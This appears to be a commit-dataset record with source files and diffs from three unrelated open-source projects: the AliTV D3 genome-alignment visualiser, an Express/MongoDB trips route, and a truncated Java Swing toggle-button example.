* 'c2': {'genome_id': 1, 'length': 1000, 'seq': null}
* }
* };
* var features = {
* 'f1': {'karyo': 'c1', 'start': 300, 'end': 800},
* 'f2': {'karyo': 'c2', 'start': 100, 'end': 600}
* };
* var links = {"l1":
* {'source': 'f1', 'target': 'f2', 'identity': 90}
* };
* wga.setData({'karyo': karyo, 'features': features, 'links': links};
* var filters = {
* 'karyo': {
* 'order': ['c1', 'c2'],
* 'genome_order': ['0', '1'],
* 'chromosomes': {
* 'c1': {'reverse': false, 'visible': true},
* 'c2': {'reverse': false, 'visible': true}
* }
* }
* };
* wga.setFilters(filters);
* wga.drawLinear();
* wga.drawCircular();
*/
AliTV.prototype.setFilters = function(filters) {
this.filters = filters;
};
/**
* Calculates coordinates for the chromosomes to draw in the linear layout.
* This function operates on the data property of the object and therefore needs no parameters.
* This function is primarily meant for internal usage, the user should not need to call this directly.
* @author Markus Ankenbrand <[email protected]>
* @returns {Array} Array containing one Object for each element in data.karyo of the form {karyo: 'karyo_name', x:0, y:0, width:10, height:10}
*/
AliTV.prototype.getLinearKaryoCoords = function() {
var linearKaryoCoords = [];
var genome_order = this.filters.karyo.genome_order;
var conf = this.conf;
var genomeDistance = this.getGenomeDistance();
var that = this;
var visibleChromosomes = that.filterChromosomes();
var total = [];
var current = [];
var i;
// Initialize total with the negative of one karyoDistance - as there is one space less then karyos per genome
for (i = 0; i < genome_order.length; i++) {
total.push(-conf.graphicalParameters.karyoDistance);
current.push(0);
}
$.each(visibleChromosomes, function(key, value) {
total[genome_order.indexOf(value.genome_id)] += value.length + conf.graphicalParameters.karyoDistance;
});
var maxTotalSize = Math.max.apply(null, total);
for (i = 0; i < this.filters.karyo.order.length; i++) {
var key = this.filters.karyo.order[i];
var value = visibleChromosomes[key];
var coord = {
'karyo': key,
'y': genome_order.indexOf(value.genome_id) * genomeDistance,
'height': conf.graphicalParameters.karyoHeight,
'genome': value.genome_id
};
if (this.filters.karyo.chromosomes[key].reverse === false) {
coord.width = (value.length / maxTotalSize) * conf.graphicalParameters.width;
coord.x = (current[genome_order.indexOf(value.genome_id)] / maxTotalSize) * conf.graphicalParameters.width;
} else {
coord.x = (current[genome_order.indexOf(value.genome_id)] / maxTotalSize) * conf.graphicalParameters.width + (value.length / maxTotalSize) * conf.graphicalParameters.width;
coord.width = (value.length / maxTotalSize) * conf.graphicalParameters.width * (-1);
}
current[genome_order.indexOf(value.genome_id)] += value.length + conf.graphicalParameters.karyoDistance;
linearKaryoCoords.push(coord);
}
return linearKaryoCoords;
};
/**
* Calculate coordinates for the links to draw in the linear layout and uses link-data and karyo-coordinates
* this function should also check if links are adjacent or not and save this information in the link property "adjacent"
* This function is primarily meant for internal usage, the user should not need to call this directly
* @author Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearKaryoCoords()
* @returns {Array} Returns an Array which is presented in the following example
* @example [
* {"linkID": "l1", "source0": {"x":0, "y":10}, "target0": {"x": 0, "y":20}, "source1": {"x":10, "y":10}, "target1": {"x":10, "y":20}, "adjacent": true}
* ]
*/
AliTV.prototype.getLinearLinkCoords = function(coords) {
var linearLinkCoords = [];
if (typeof coords === 'undefined') {
return linearLinkCoords;
}
var that = this;
var conf = this.conf;
var visibleLinks = that.data.links;
var karyoMap = {};
$.each(coords, function(key, value) {
karyoMap[value.karyo] = key;
});
$.each(visibleLinks, function(key, value) {
var link = {};
link.linkID = key;
link.source0 = {};
link.source1 = {};
link.target0 = {};
link.target1 = {};
var feature1 = that.data.features[value.source];
var feature2 = that.data.features[value.target];
var karyo1 = that.data.karyo.chromosomes[feature1.karyo];
var karyo2 = that.data.karyo.chromosomes[feature2.karyo];
var karyo1Coords = coords[karyoMap[feature1.karyo]];
var karyo2Coords = coords[karyoMap[feature2.karyo]];
var genomePosition1 = that.filters.karyo.genome_order.indexOf(karyo1.genome_id);
var genomePosition2 = that.filters.karyo.genome_order.indexOf(karyo2.genome_id);
var lengthOfFeature1 = Math.abs(that.data.features[value.source].end - that.data.features[value.source].start);
var lengthOfFeature2 = Math.abs(that.data.features[value.target].end - that.data.features[value.target].start);
if (genomePosition1 > genomePosition2) {
var tmp = feature1;
feature1 = feature2;
feature2 = tmp;
tmp = karyo1;
karyo1 = karyo2;
karyo2 = tmp;
tmp = karyo1Coords;
karyo1Coords = karyo2Coords;
karyo2Coords = tmp;
}
link.source0.x = karyo1Coords.x + karyo1Coords.width * feature1.start / karyo1.length;
link.source0.y = karyo1Coords.y + karyo1Coords.height + conf.graphicalParameters.linkKaryoDistance;
link.source1.x = karyo1Coords.x + karyo1Coords.width * feature1.end / karyo1.length;
link.source1.y = karyo1Coords.y + karyo1Coords.height + conf.graphicalParameters.linkKaryoDistance;
link.target0.x = karyo2Coords.x + karyo2Coords.width * feature2.start / karyo2.length;
link.target0.y = karyo2Coords.y - conf.graphicalParameters.linkKaryoDistance;
link.target1.x = karyo2Coords.x + karyo2Coords.width * feature2.end / karyo2.length;
link.target1.y = karyo2Coords.y - conf.graphicalParameters.linkKaryoDistance;
linearLinkCoords.push(link);
});
return linearLinkCoords;
};
/**
* This function draws the karyos in the linear layout, color them according to their genome_id and add some events to the chromosome.
* @author Markus Ankenbrand and Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearKaryoCoords()
*/
AliTV.prototype.drawLinearKaryo = function(linearKaryoCoords) {
var that = this;
that.svgD3.selectAll(".karyoGroup").remove();
that.svgD3.append("g")
.attr("class", "karyoGroup")
.selectAll("path")
.data(linearKaryoCoords)
.enter()
.append("rect")
.attr("class", "karyo")
.attr("x", function(d) {
if (d.width < 0) {
return d.x + d.width;
} else {
return d.x;
}
})
.attr("y", function(d) {
return d.y;
})
.attr("width", function(d) {
return Math.abs(d.width);
})
.attr("height", function(d) {
return d.height;
})
.on("mouseover", function(g) {
that.fadeLinks(g, 0.1);
})
.on("mouseout", function(g) {
that.fadeLinks(g, 1);
})
.on("click", function(g) {
that.filters.karyo.chromosomes[g.karyo].reverse = !that.filters.karyo.chromosomes[g.karyo].reverse;
that.drawLinear();
})
.style("fill", function(d) {
return that.colorKaryoByGenomeId(that.data.karyo.chromosomes[d.karyo].genome_id);
});
};
/**
* This function color links according to their identity and is called by drawLinearLinks within the style attribute
* It operates on the identity value of the links and therefore the identity should be assigned to the function
* The identity is assigned to a color which is used by the drawLinearLinks function, so the returned value is the RGB farbcode
* @author Sonja Hohlfeld
*/
AliTV.prototype.colorLinksByIdentity = function(identity) {
var that = this;
var linkIdentityDomain = [0, that.conf.minLinkIdentity, that.conf.midLinkIdentity, that.conf.maxLinkIdentity, 100];
var linkIdentityColorRange = [that.conf.minLinkIdentityColor, that.conf.minLinkIdentityColor, that.conf.midLinkIdentityColor, that.conf.maxLinkIdentityColor, that.conf.maxLinkIdentityColor];
var color = d3.scale.linear()
.domain(linkIdentityDomain)
.range(linkIdentityColorRange);
return color(identity);
};
/**
* This function color karyos according to their genome_id and is called by drawLinearKaryo within the style attribute
* It operates on the genome_id of the links and therefore the genome_id should be assigned to the function
* The genome_id is assigned to a color which is used by the drawLinearKaryo function, so the returned value is the RGB farbcode
* @author Sonja Hohlfeld
*/
AliTV.prototype.colorKaryoByGenomeId = function(genomeId) {
var that = this;
var genomeOrder = [0, (that.filters.karyo.genome_order.length - 1)];
var colorRange = [that.conf.linear.startLineColor, that.conf.linear.endLineColor];
var color = d3.scale.linear()
.domain(genomeOrder)
.range(colorRange);
return color(genomeId);
};
/**
* This function calculates the tick coords and operates on the chromosomes and need the length in bp and the width in px of the karyo.
* @author Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearKaryoCoords()
* @return {Array} The array containing the tick coordinates as shown in the following example
* @example linearTickCoords = [[0, 50, 100, 150, 200], [0, 50, 100], [100, 150, 200]]
*/
AliTV.prototype.getLinearTickCoords = function(karyoCoords) {
var that = this;
var linearTickCoords = [];
$.each(karyoCoords, function(key, value) {
var ticks = [];
var scale = d3.scale.linear()
.domain([0, that.data.karyo.chromosomes[value.karyo].length])
.range([value.x, value.x + value.width]);
var chromosomePosition = 0;
while (chromosomePosition <= that.data.karyo.chromosomes[value.karyo].length) {
ticks.push(scale(chromosomePosition));
chromosomePosition += that.conf.graphicalParameters.tickDistance;
var coords = {};
coords.x1 = ticks[ticks.length - 1];
coords.y1 = value.y - 5;
coords.x2 = ticks[ticks.length - 1];
coords.y2 = value.y + value.height + 5;
linearTickCoords.push(coords);
}
});
return linearTickCoords;
};
/**
* This function draw the ticks in the linear layout.
* @author Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearTickCoords()
*/
AliTV.prototype.drawLinearTicks = function(linearTickCoords) {
var that = this;
this.svgD3.selectAll(".tickGroup").remove();
that.svgD3.append("g")
.attr("class", "tickGroup")
.selectAll("path")
.data(linearTickCoords)
.enter()
.append("line")
.attr("class", "tick")
.attr("x1", function(d) {
return d.x1;
})
.attr("y1", function(d) {
return d.y1;
})
.attr("x2", function(d) {
return d.x2;
})
.attr("y2", function(d) {
return d.y2;
})
.style("stroke", "#000");
};
/**
* This function is called by a mouse event.
* If the mouse pointer enters the area of a chromosome all links should be faded out except the the links of the chromosome the mouse points to.
* If the mouse pointer leaves the area of a chromosome all links should be faded in.
* @param {Number} The opacity value is a number between 0 and 1 and indicates the degree of the colored link opacity.
*/
AliTV.prototype.fadeLinks = function(g, opacity) {
var that = this;
that.svgD3.selectAll(".link")
.filter(function(d) {
return that.data.features[that.data.links[d.linkID].source].karyo != g.karyo && that.data.features[that.data.links[d.linkID].target].karyo != g.karyo;
})
.transition()
.style("opacity", opacity);
};
/**
* This function draws adjacent links in the linear layout
* @author Sonja Hohlfeld
* @param {Array} The array linearLinkCoords containing the coordinates of all links as returned by getLinearLinkCoords()
*/
AliTV.prototype.drawLinearLinks = function(linearLinkCoords) {
var that = this;
var coordsToPath = function(link) {
var diagonal = d3.svg.diagonal().source(function(d) {
return d.source;
}).target(function(d) {
return d.target;
});
var path1 = diagonal({
source: link.source0,
target: link.target0
});
var path2 = diagonal({
source: link.target1,
target: link.source1
}).replace(/^M/, 'L');
var shape = path1 + path2 + 'Z';
return shape;
};
this.svgD3.selectAll(".linkGroup").remove();
this.svgD3.append("g")
.attr("class", "linkGroup")
.selectAll("path")
.data(linearLinkCoords)
.enter()
.append("path")
.attr("class", "link")
.attr("d", coordsToPath)
.style("fill", function(d) {
return that.colorLinksByIdentity(that.data.links[d.linkID].identity);
});
};
/**
* This function draws the data in the linear layout.
* It operates on the data of the object and therefore needs no parameters.
* It draws directly on the svg and therefore has no return value.
* @author Markus Ankenbrand <[email protected]>
*/
AliTV.prototype.drawLinear = function() {
var karyoCoords = this.getLinearKaryoCoords();
var linearTickCoords = this.getLinearTickCoords(karyoCoords);
this.drawLinearTicks(linearTickCoords);
this.drawLinearKaryo(karyoCoords);
var linkCoords = this.getLinearLinkCoords(karyoCoords);
this.drawLinearLinks(linkCoords);
this.conf.layout = "linear";
};
/**
* Calculates coordinates for the chromosomes to draw in the circular layout.
* This function operates on the data property of the object and therefore needs no parameters.
* This function is primarily meant for internal usage, the user should not need to call this directly.
* @author Markus Ankenbrand <[email protected]>
* @returns {Array} Array containing one Object for each element in data.karyo of the form {karyo: 'karyo_name', startAngle:0, endAngle:1}
*/
AliTV.prototype.getCircularKaryoCoords = function() {
var circularKaryoCoords = [];
var total = 0;
var spacer = this.conf.graphicalParameters.karyoDistance;
var chromosomes = this.data.karyo.chromosomes;
var order = this.filters.karyo.order;
var current = -spacer;
$.each(chromosomes, function(key, value) {
total += value.length + spacer;
});
for (var i = 0; i < order.length; i++) {
var key = order[i];
var value = chromosomes[key];
var data = {
"karyo": key,
"startAngle": ((current + spacer) / total) * (2 * Math.PI),
};
current += value.length + spacer;
data.endAngle = (current / total) * (2 * Math.PI);
if (this.filters.karyo.chromosomes[key].reverse === true) {
var startAngle = data.startAngle;
var endAngle = data.endAngle;
data.startAngle = endAngle;
data.endAngle = startAngle;
}
circularKaryoCoords.push(data);
}
return circularKaryoCoords;
};
/**
* Calculate coordinates for the links to draw in the cirular layout and uses link-data and karyo-coordinates
* This function is primarily meant for internal usage, the user should not need to call this directly
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularKaryoCoords()
* @returns {Array} Returns an Array which is presented in the following example
* @example [
* {"linkID": "l1", "source": {"startAngle":1, "endAngle":3}, "target": {"startAngle":4, "endAngle":6}}
* ]
*/
AliTV.prototype.getCircularLinkCoords = function(coords) {
var circularLinkCoords = [];
if (typeof coords === 'undefined') {
return circularLinkCoords;
}
var that = this;
var karyoMap = {};
$.each(coords, function(key, value) {
karyoMap[value.karyo] = key;
});
$.each(this.data.links, function(key, value) {
var link = {};
link.linkID = key;
var feature1 = that.data.features[value.source];
var feature2 = that.data.features[value.target];
var karyo1 = that.data.karyo.chromosomes[feature1.karyo];
var karyo2 = that.data.karyo.chromosomes[feature2.karyo];
var karyo1Coords = coords[karyoMap[feature1.karyo]];
var karyo2Coords = coords[karyoMap[feature2.karyo]];
var sourceScale = d3.scale.linear().domain([0, karyo1.length]).range([karyo1Coords.startAngle, karyo1Coords.endAngle]);
var targetScale = d3.scale.linear().domain([0, karyo2.length]).range([karyo2Coords.startAngle, karyo2Coords.endAngle]);
link.source = {
startAngle: sourceScale(feature1.start),
endAngle: sourceScale(feature1.end)
};
link.target = {
startAngle: targetScale(feature2.start),
endAngle: targetScale(feature2.end)
};
circularLinkCoords.push(link);
});
return circularLinkCoords;
};
/**
* This function calculates the coordinates (angles) for the ticks in the circular layout
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularKaryoCoords()
* @returns {Array} Returns an Array of angles
*/
AliTV.prototype.getCircularTickCoords = function(coords) {
var that = this;
var circularTickCoords = [];
$.each(coords, function(key, value) {
var karyoLength = that.data.karyo.chromosomes[value.karyo].length;
var baseToAngle = d3.scale.linear().domain([0, karyoLength]).range([value.startAngle, value.endAngle]);
var chromosomePosition = 0;
while (chromosomePosition <= karyoLength) {
circularTickCoords.push(baseToAngle(chromosomePosition));
chromosomePosition += that.conf.graphicalParameters.tickDistance;
}
});
return circularTickCoords;
};
/**
* This function draws the karyos in the circular layout, color them according to their genome_id and add some eventHandlers.
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularKaryoCoords()
*/
AliTV.prototype.drawCircularKaryo = function(coords) {
var that = this;
this.svgD3.selectAll(".karyoGroup").remove();
var outerRadius = this.getOuterRadius();
this.svgD3.append("g")
.attr("class", "karyoGroup")
.attr("transform", "translate(" + this.conf.graphicalParameters.width / 2 + "," + this.conf.graphicalParameters.height / 2 + ")")
.selectAll("path")
.data(coords)
.enter()
.append("path")
.attr("d", d3.svg.arc().innerRadius(outerRadius - this.conf.graphicalParameters.karyoHeight).outerRadius(outerRadius))
.attr("class", "karyo")
.style("fill", function(d) {
return that.colorKaryoByGenomeId(that.data.karyo.chromosomes[d.karyo].genome_id);
})
.on("mouseover", function(g) {
that.fadeLinks(g, 0.1);
})
.on("mouseout", function(g) {
that.fadeLinks(g, 1);
})
.on("click", function(g) {
that.filters.karyo.chromosomes[g.karyo].reverse = !that.filters.karyo.chromosomes[g.karyo].reverse;
that.drawCircular();
});
};
/**
* This function draws the ticks to the karyos in the circular layout
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularTickCoords()
*/
AliTV.prototype.drawCircularTicks = function(coords) {
var that = this;
that.svgD3.selectAll(".tickGroup").remove();
that.svgD3.append("g")
.attr("class", "tickGroup")
.attr("transform", "translate(" + this.conf.graphicalParameters.width / 2 + "," + this.conf.graphicalParameters.height / 2 + ")")
.selectAll("path")
.data(coords)
.enter()
.append("path")
.attr("d", function(d) {
var startPoint = d3.svg.line.radial()([
[that.getOuterRadius() + that.conf.circular.tickSize, d]
]);
var endPoint = d3.svg.line.radial()([
[that.getOuterRadius(), d]
]);
endPoint = endPoint.replace(/^M/, 'L');
return startPoint + endPoint + "Z";
})
.style("stroke", "#000");
};
/**
* This function draws links in the circular layout
* @author Markus Ankenbrand
* @param {Array} The array circularLinkCoords containing the coordinates of all links as returned by getCircularLinkCoords()
*/
AliTV.prototype.drawCircularLinks = function(circularLinkCoords) {
var that = this;
this.svgD3.selectAll(".linkGroup").remove();
this.svgD3.append("g")
.attr("class", "linkGroup")
.attr("transform", "translate(" + this.conf.graphicalParameters.width / 2 + "," + this.conf.graphicalParameters.height / 2 + ")")
.selectAll("path")
.data(circularLinkCoords)
.enter()
.append("path")
.attr("class", "link")
.attr("d", d3.svg.chord().radius(this.getOuterRadius() - this.conf.graphicalParameters.karyoHeight - this.conf.graphicalParameters.linkKaryoDistance))
.style("fill", function(d) {
return that.colorLinksByIdentity(that.data.links[d.linkID].identity);
});
};
/**
* This function draws the data in the circular layout.
* It operates on the data of the object and therefore needs no parameters.
* It draws directly on the svg and therefore has no return value.
* @author Markus Ankenbrand <[email protected]>
*/
AliTV.prototype.drawCircular = function() {
var karyoCoords = this.getCircularKaryoCoords();
var tickCoords = this.getCircularTickCoords(karyoCoords);
this.drawCircularTicks(tickCoords);
this.drawCircularKaryo(karyoCoords);
var linkCoords = this.getCircularLinkCoords(karyoCoords);
this.drawCircularLinks(linkCoords);
this.conf.layout = "circular";
};
/**
* This function returns the information of the spacer between two chromosomes which is set in the configuration.
* @returns {Number} The actual spacer.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getLinearSpacer = function() {
return this.conf.graphicalParameters.karyoDistance;
};
/**
* This function replaces the old spacer with the new spacer in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong spacer it throws an error message.
* @param {Number} The function gets the spacer which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setLinearSpacer = function(spacer) {
if (spacer === "") {
throw "empty";
} else if (isNaN(spacer)) {
throw "not a number";
} else if (spacer <= 0) {
throw "spacer is to small, it should be > 0";
} else {
spacer = Number(spacer);
this.conf.graphicalParameters.karyoDistance = spacer;
return this.conf.graphicalParameters.karyoDistance;
}
};
/**
* This function returns the height of the chromosomes between two genomes which is set in the configuration.
* @returns {Number} The actual height of chromosomes.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getKaryoHeight = function() {
return this.conf.graphicalParameters.karyoHeight;
};
/**
* This function replaces the old height of the chromosomes with the new value in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the height of chromosomes which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setKaryoHeight = function(height) {
if (height === "") {
throw "empty";
} else if (isNaN(height)) {
throw "not a number";
} else if (height <= 0) {
throw "genome distance is to small, it should be > 0";
} else {
height = Number(height);
this.conf.graphicalParameters.karyoHeight = height;
return this.conf.graphicalParameters.karyoHeight;
}
};
/**
* This function returns the width of the svg drawing area.
* @returns {Number} The width of canvas.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getCanvasWidth = function() {
return this.conf.graphicalParameters.width;
};
/**
* This function replaces the old width of the drawing area with the new width in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the width of the svg drawing area which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setCanvasWidth = function(width) {
if (width === "") {
throw "empty";
} else if (isNaN(width)) {
throw "not a number";
} else if (width <= 0) {
throw "width is to small, it should be > 0";
} else {
width = Number(width);
this.conf.graphicalParameters.width = width;
$('#wgaCanvas').width(this.conf.graphicalParameters.width);
return this.conf.graphicalParameters.width;
}
};
/**
* This function returns the height of the svg drawing area.
* @returns {Number} The height of canvas.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getCanvasHeight = function() {
return this.conf.graphicalParameters.height;
};
/**
* This function replaces the old height of the drawing area with the new height in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the height of the svg drawing area which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setCanvasHeight = function(height) {
if (height === "") {
throw "empty";
} else if (isNaN(height)) {
throw "not a number";
} else if (height <= 0) {
throw "height is to small, it should be > 0";
} else {
height = Number(height);
this.conf.graphicalParameters.height = height;
$('#wgaCanvas').height(this.conf.graphicalParameters.height);
return this.conf.graphicalParameters.height;
}
};
/**
* This function returns the distance of the chromosome ticks in bp.
* @returns {Number} The tick distance in bp.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getTickDistance = function() {
return this.conf.graphicalParameters.tickDistance;
};
/**
* This function replaces the old distance between ticks with the new distance in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the distance between ticks which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setTickDistance = function(distance) {
if (distance === "") {
throw "empty";
} else if (isNaN(distance)) {
throw "not a number";
} else if (distance <= 0) {
throw "distance is to small, it should be > 0";
} else {
distance = Number(distance);
this.conf.graphicalParameters.tickDistance = distance;
return this.conf.graphicalParameters.tickDistance;
}
};
/**
* This function returns the current layout.
* @returns {String} The current layout: linear or circular.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getLayout = function() {
return this.conf.layout;
};
/**
* This function should draw the equal layout according to the current layout.
* @param {String} The current layout, this means circular or linear.
* @author Sonja Hohlfeld
*/
AliTV.prototype.drawEqualLayout = function(layout) {
if (layout === "linear") {
this.drawLinear();
return this.conf.layout;
} else {
this.drawCircular();
return this.conf.layout;
}
};
/**
* This function calculates the appropriate outerRadius of the circular layout for the current svg dimensions.
* @returns {Number} outerRadius - the outer radius in px
* @author Markus Ankenbrand
*/
AliTV.prototype.getOuterRadius = function() {
var outerRadius = 0.45 * Math.min(this.getCanvasHeight(), this.getCanvasWidth());
return outerRadius;
};
/**
* This function calculates the appropriate genomeDistance of the linear layout for the current svg height.
* @returns {Number} genomeDistance - the distance between genomes in the linear layout.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getGenomeDistance = function() {
var genomeDistance = (this.getCanvasHeight() - this.getKaryoHeight()) / (this.filters.karyo.genome_order.length - 1);
return Math.round(genomeDistance);
};
/**
* This method should call other filter functions in order to filter the visible chromosomes.
* @returns visibleChromosomes: returns only chromosomes which are visible
* @author Sonja Hohlfeld
*/
AliTV.prototype.filterChromosomes = function() {
var visibleChromosomes = this.data.karyo.chromosomes;
console.log(visibleChromosomes);
return visibleChromosomes;
};
| Add new function call, the chromosomes should be filtered by their visibility
| d3/js/AliTV.js | Add new function call, the chromosomes should be filtered by their visibility | <ide><path>3/js/AliTV.js
<ide> */
<ide> AliTV.prototype.filterChromosomes = function() {
<ide> var visibleChromosomes = this.data.karyo.chromosomes;
<del> console.log(visibleChromosomes);
<add> visibleChromosomes = this.filterVisibleChromosomes(visibleChromosomes);
<ide> return visibleChromosomes;
<ide> }; |
|
JavaScript | mit | 8c64f75af2d830dbe65ef61925c8d87fd460697a | 0 | alanplotko/FriendWagon,alanplotko/FriendWagon | var keys = require('../keys');
var express = require('express');
var router = express.Router();
var passport = require('passport');
var GooglePlusStrategy = require('passport-google-plus');
var MongoClient = require('mongodb').MongoClient
, assert = require('assert');
var url = 'mongodb://localhost:27017/roadtrip';
// Use connect method to connect to the Server
passport.use(new GooglePlusStrategy({
clientId: keys.clientID,
clientSecret: keys.clientSecret
},
function(tokens, profile, done) {
// Create or update user, call done() when complete...
done(null, profile, tokens);
}));
function signInCallback(authResult) {
if (authResult.code) {
$.post('/auth/google/callback', { id_token: authResult.id_token})
.done(function(data) {
$('#signinButton').hide();
});
} else if (authResult.error) {
console.log('There was an error: ' + authResult.error);
}
};
router.get('/', function(req, res, next) {
//res.send('respond with a resource');
MongoClient.connect(url, function(err, db) {
assert.equal(null, err);
var collection = db.collection('trips');
collection.find().toArray(function(err, docs) {
req.send(docs);
});
});
res.render('trips', {title : 'Users', clientID : keys.clientID});
});
module.exports = router;
| routes/trips.js | var keys = require('../keys');
var express = require('express');
var router = express.Router();
var passport = require('passport');
var GooglePlusStrategy = require('passport-google-plus');
var MongoClient = require('mongodb').MongoClient
, assert = require('assert');
var url = 'mongodb://localhost:27017/roadtrip';
// Use connect method to connect to the Server
passport.use(new GooglePlusStrategy({
clientId: keys.clientID,
clientSecret: keys.clientSecret
},
function(tokens, profile, done) {
// Create or update user, call done() when complete...
done(null, profile, tokens);
}));
function signInCallback(authResult) {
if (authResult.code) {
$.post('/auth/google/callback', { id_token: authResult.id_token})
.done(function(data) {
$('#signinButton').hide();
});
} else if (authResult.error) {
console.log('There was an error: ' + authResult.error);
}
};
router.get('/', function(req, res, next) {
//res.send('respond with a resource');
MongoClient.connect(url, function(err, db) {
assert.equal(null, err);
var collection = db.collection('users');
collection.find({'userid': res.params.id}).toArray(function(err, docs) {
req.send(docs);
});
});
res.render('trips', {title : 'Users', clientID : keys.clientID});
});
module.exports = router;
| Trips.
| routes/trips.js | Trips. | <ide><path>outes/trips.js
<ide> //res.send('respond with a resource');
<ide> MongoClient.connect(url, function(err, db) {
<ide> assert.equal(null, err);
<del> var collection = db.collection('users');
<del> collection.find({'userid': res.params.id}).toArray(function(err, docs) {
<add> var collection = db.collection('trips');
<add> collection.find().toArray(function(err, docs) {
<ide> req.send(docs);
<ide> });
<ide> }); |
|
Java | mit | 295635fca06d69c71449ac38496a8f2c1393cf59 | 0 | aterai/java-swing-tips,aterai/java-swing-tips,mhcrnl/java-swing-tips,mhcrnl/java-swing-tips,aterai/java-swing-tips,aoguren/java-swing-tips,aoguren/java-swing-tips,aterai/java-swing-tips,mhcrnl/java-swing-tips,aoguren/java-swing-tips | package example;
//-*- mode:java; encoding:utf-8 -*-
// vim:set fileencoding=utf-8:
//@homepage@
import java.awt.*;
import java.awt.event.*;
import java.awt.geom.*;
import java.awt.image.*;
import java.util.*;
import java.util.List;
import javax.swing.*;
public class MainPanel extends JPanel {
public MainPanel() {
super();
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0xff7400, true));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x555555, false));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x006400, true));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x8b0000, false));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x001e43, true));
setPreferredSize(new Dimension(320, 240));
}
private static JRadioButton makeRadioButton(String title) {
JRadioButton radio = new JRadioButton(title);
radio.setVerticalAlignment(SwingConstants.CENTER);
radio.setVerticalTextPosition(SwingConstants.CENTER);
radio.setHorizontalAlignment(SwingConstants.CENTER);
radio.setHorizontalTextPosition(SwingConstants.CENTER);
radio.setBorder(BorderFactory.createEmptyBorder());
radio.setContentAreaFilled(false);
radio.setFocusPainted(false);
//radio.setBackground(new Color(cc));
radio.setForeground(Color.WHITE);
return radio;
}
private static JPanel makeToggleButtonBar(List<JRadioButton> list, int cc, boolean round) {
int size = list.size();
ButtonGroup bg = new ButtonGroup();
JPanel p = new JPanel(new GridLayout(1, size, 0, 0));
Color color = new Color(cc);
for(int i=0; i<size;i++) {
JRadioButton r = list.get(i);
r.setBackground(color);
if(round) {
if(i==0) {
r.setIcon(new ToggleButtonBarCellIcon(Location.FIRST));
}else if(i==size-1) {
r.setIcon(new ToggleButtonBarCellIcon(Location.LAST));
}else{
r.setIcon(new ToggleButtonBarCellIcon(Location.CENTER));
}
}else{
r.setIcon(new CellIcon());
}
bg.add(r);
p.add(r);
}
p.setBorder(BorderFactory.createTitledBorder(String.format("Color: #%06x", cc)));
return p;
}
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
@Override public void run() {
createAndShowGUI();
}
});
}
public static void createAndShowGUI() {
try{
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
}catch(Exception e) {
e.printStackTrace();
}
JFrame frame = new JFrame("@title@");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.getContentPane().add(new MainPanel());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
}
class CellIcon implements Icon{
//http://weboook.blog22.fc2.com/blog-entry-342.html
//Webpark 2012.11.15
private static final Color TL = new Color(1f,1f,1f,.2f);
private static final Color BR = new Color(0f,0f,0f,.2f);
private static final Color ST = new Color(1f,1f,1f,.4f);
private static final Color SB = new Color(1f,1f,1f,.1f);
private Color ssc;
private Color bgc;
@Override public void paintIcon(Component c, Graphics g, int x, int y) {
int w = c.getWidth();
int h = c.getHeight();
Graphics2D g2 = (Graphics2D)g.create();
g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
g2.setPaint(c.getBackground());
g2.fillRect(x, y, w, h);
ssc = TL;
bgc = BR;
if(c instanceof AbstractButton) {
ButtonModel m = ((AbstractButton)c).getModel();
